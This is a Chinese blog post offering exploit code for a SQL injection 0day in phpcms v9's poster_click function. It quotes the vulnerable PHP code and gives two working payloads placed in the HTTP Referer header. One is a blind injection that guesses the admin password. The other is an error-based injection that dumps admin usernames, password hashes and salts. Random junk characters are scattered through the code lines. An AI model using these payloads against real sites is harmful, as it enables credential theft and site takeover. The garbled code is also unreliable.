phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:

9 _4 S# l' o. U# x" |- @3 o问题函数\phpcms\modules\poster\index.php
: V  v) G! l& Q. S+ J  @
public function poster_click() {
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
- h0 x& y) ?0 c7 j0 p5 V- nif (!is_array($r) && empty($r)) return false;
2 m! B0 e4 N  ]0 X% ]% `* e# {$ip_area = pc_base::load_sys_class('ip_area');
1 W" l% A+ q% ]$ x$ip = ip();
. q9 h. [9 V: K/ c' ^( u$area = $ip_area->get($ip);
) J/ e' j4 h9 ]' _. |% Y$username = param::get_cookie('username') ? param::get_cookie('username') : '';
if($id) {
4 f( |; [+ F$ t$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
  e3 Z9 s6 i- l$ U" r2 ^( o$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
+ V/ Y: E+ K9 Y" e& S& Z}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$setting = string2array($r['setting']);
if (count($setting)==1) {
$url = $setting['1']['linkurl'];
3 W+ L/ J. v/ B# f; o) R} else {
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
& ]' |( A) T  ~# cheader('Location: '.$url);
* K9 R2 J* R4 p}
& c1 q: ~5 P8 d- M

! I& k. W8 v& s6 M3 }7 V3 U+ D
利用方式：
& @1 {, H/ U% y
1、可以采用盲注入的手法：
4 h) P2 c' r- @) O* H( l
  [( ?$ a! X, u3 v" sreferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

通过返回页面，正常与否一个个猜解密码字段。
1 f4 [! c7 ~1 m0 c7 p7 C4 `
2、代码是花开写的，随手附上了：
# O3 D6 m& ]* {1 K5 s8 Y+ s
! n0 P% q+ a- a* F+ g: g, y1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
  V( i: @: k6 t6 t  b3 x* v# K( C7 g
) K  H: l0 Y5 ?; V8 ?% P此方法是爆错注入手法，原理自查。
